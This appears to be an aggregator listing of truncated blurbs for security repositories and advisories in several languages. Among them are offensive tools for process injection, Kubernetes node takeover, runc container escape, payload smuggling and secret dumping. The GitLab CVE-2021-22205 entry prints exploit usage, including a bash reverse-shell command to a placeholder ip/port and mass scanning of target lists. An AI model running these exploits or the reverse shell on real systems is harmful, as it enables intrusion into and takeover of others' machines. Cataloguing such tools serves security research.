process_overwriting

Process Overwriting Process Overwriting is a PE injection technique, closely related to Process Hollowing and Module Overloading. With its help, you can replace the main executable not a DLL of the target process. It works only for a newly created process - injection to existing processes is not...

dockle

Dockle - 用于安全的容器镜像检查工具，帮助构建最佳实践的Docker镜像，易于上手 Dockle 帮助你： 1. 构建最佳实践的Docker镜像 2. 构建安全的Docker镜像 检查点包括CIS基准bash $ brew untap goodwithtech/dockle who use 0.1.16 or older version $ brew install goodwithtech/r/dockle $ dockle YOURIMAGENAME 参见 安装 和 常见示例 检查点对比 目录 - 特性 - 对比 - 安装 - Homebrew Mac OS X / Linu...

TinyXPB

TinyXPB REQUISITOS: Una máquina virtual o Bochs ejecutando XP SP3 XP SP0 no funcionará, otras versiones pueden funcionar USO: 1. ejecute build.bat 2. copie floppy.img a donde desee usarlo 3. configure la máquina virtual / bochs para arrancar desde floppy.img 4. ¡Arranque! EJECUTABLES:...

kube-alien

Kube-alien This tool launches attack on k8s cluster from within. That means you already need to have an access with permission to deploy pods in a cluster to run it. After running the kube-alien pod it tries to takeover cluster's nodes by adding your public key to node's /root/.ssh/authorizedkeys...

CVE-2024-21626-runcPOC

【漏洞复现】CVE-2024-21626 docker runc逃逸漏洞 1、漏洞简介 漏洞名称| docker runc逃逸漏洞 ---|--- 漏洞编号| CVE-2024-21626 披露日期| 2024-01-31 特征| / 影响版本| runc @ v1.0.0-rc93,1.1.11 2、漏洞利用&POC/EXP 利用条件 有点苛刻，需要受害者交互，个人认为有点鸡肋： 1. 使用攻击者的恶意镜像（包括一些对工作目录的设置等）创建容器 2. 攻击者可以控制容器，执行命令。 漏洞存在验证与获取描述符： git clone...

conpot

Conpot About Conpot is an ICS honeypot with the goal to collect intelligence about the motives and methods of adversaries targeting industrial control systems. Documentation The documentation can be found here. If you are just checking out conpot, we suggest that you go for quick install. If you...

BobTheSmuggler

BobTheSmuggler Actualización rápida 15 de enero de 2024 -Se ha añadido soporte para compresión de múltiples archivos. Si tienes múltiples archivos generados para tu payload final por ejemplo, archivos de DLL-Sideloading o archivos de entrega en múltiples etapas, ahora puedes usar la opción '-i'...

CVE-2026-102635

A flaw was found in ImageMagick. An attacker could exploit this vulnerability by supplying a specially crafted GIF file to be processed by the application. During processing, the GIF decoder reads uninitialized heap memory and writes it into the image metadata, resulting in sensitive information...

cve-2022-44268

Exploit adaptado para HackTheBox Pilgrimage Script automático en Python que utiliza cve-2022-44268 para agregar un valor de perfil con un nombre de archivo de una lista de archivos de entrada en un archivo de entrada, actualizar la carga del archivo de imagen utilizando un archivo request.req de...

adiskreader-secretsdump

🚩 Patrocinadores Si te gusta este proyecto, considera comprar licencias de OctoPwn, nuestra suite completa de pentesting que se ejecuta en tu navegador! Para notificaciones sobre nuevas compilaciones/lanzamientos y otra información, únete a nuestro Discord adiskreader-secretsdump Extrae secretos ...

layerleak

layerleak OCI镜像秘密扫描器 查看 CONTRIBUTING.md 了解贡献指南。 针对任何符合OCI标准的公共镜像仓库（Docker Hub、GHCR、Quay、GCR、MCR、Amazon ECR Public、自托管）的OCI镜像秘密扫描器。它分析镜像层、配置元数据和镜像历史，然后按清单摘要存储去重后的发现结果。 传统的秘密扫描器通常将容器镜像视为一个扁平的数据块，或者依赖本地Docker守护进程。本项目是围绕OCI镜像内部结构设计的。 目录 文档页面 当前能力 安装 Postgres持久化 如何开始 HTTP API Docker Compose部署（Dockge /...

setup-ipsec-vpn

English | 简体中文 | 繁體中文 | 日本語 | Русский IPsec VPN Server Auto Setup Scripts Set up your own IPsec VPN server in just a few minutes, with IPsec/L2TP, Cisco IPsec and IKEv2. An IPsec VPN encrypts your network traffic, so that nobody between you and the VPN server can eavesdrop on your data as it...

CVE-2026-100243

The Wikimedia Foundation Mediawiki - WikiSEO Extension is vulnerable to Stored Cross-Site Scripting (XSS) due to improper neutralization of input during web page generation. The flaw specifically affects the author and image properties when accessed via action=info. This vulnerability impacts ver...

CVE-2021-22205

漏洞影响 GitLab CE/EE 自 11.9 版本起的所有版本中发现了一个问题。GitLab 未正确验证传递给文件解析器的图像文件，导致远程命令执行。 受影响产品 Gitlab CE/EE /tmp/1.txt" 批量扫描 python3 CVE-2021-2205.py -s true -f target.txt 反弹 Shell python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port 0&1' /tmp/1.sh" python3...

cluster-image-scanner

ClusterImageScanner 在生產環境中發現漏洞和容器镜像配置错误。 简介 ClusterImageScanner 能检测 Kubernetes 集群中的镜像，并根据各种安全测试提供快速反馈。建议在生产环境中运行 ClusterImageScanner，以便在安全漏洞产生实际影响时获得及时反馈。 由于 ClusterImageScanner 本身是运行在 Kubernetes 集群中的服务，你可以复用现有的部署流程。 概述 下图提供了概述： 执行以下步骤。 1. 镜像收集器，顾名思义，从容器环境（如 Kubernetes 集群）中收集不同的镜像。收集器创建一个 JSON...

dockerscan

DockerScan v2.0 The Most Comprehensive Docker Security Scanner ByDaniel Garcia cr0hn | GitHub | Website Features • Installation • Quick Start • Documentation • Use Cases • What's New • Contributing 📑 Table of Contents Overview Features What's New in v2.0 Installation Quick Start Usage Private...

USN-8846-1: libheif vulnerabilities

Yuqi Qiu and Xiang Li discovered that libheif incorrectly handled certain compressed metadata. A remote attacker could possibly use this issue to cause a denial of service. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. CVE-2026-84384 Yuqi Qiu and Xiang Li discovered that libheif...

kali-arm

Scripts de compilación de Kali-ARM Scripts de compilación ARM de Kali Linux. Estos son los mismos scripts de compilación que usamos para generar las imágenes ARM oficiales pregeneradas de Kali Linux, disponibles aquí: https://www.kali.org/get-kali/ Hay scripts adicionales incluidos en este...

CVE-2026-45806

CVE-2026-45806 Penpot 的远程图片导入功能使得一个经过身份验证的文件编辑器能够将普通的媒体便利功能转变为后端正向 SSRF，因为攻击者控制的 URL 进入了跟随重定向的服务器请求路径，而该路径没有进行目标过滤。 介绍 我在审计 Penpot （开源设计和代码协作平台）时发现了这个问题，当时我带着一个非常具体的问题： 当协作设计工具允许一个用户将远程图片 URL 交给后端获取时，会发生什么？ 在这个案例中，这个问题最终导致了一个真实的漏洞。 Penpot 的远程图片导入流程接受用户控制的 URL，并让后端在服务器网络上下文中获取该...

sherloq

一个开源的数字图像取证工具集 简介 "法庭图像分析是运用图像科学和领域专业知识，在法律事务中解释图像内容和/或图像本身的活动。具有执法应用背景的法庭图像分析主要子学科包括：摄影测量、摄影比对、内容分析和图像鉴真。 "（科学工作组成像技术） Sherloq 是一个个人研究项目，旨在实现一个完全集成的数字图像取证环境。它并非一个能自动判断图像是否被篡改的工具（这样的工具可能永远不会存在……），而是作为实验最新研究论文和研讨会中各种算法的辅助工具。...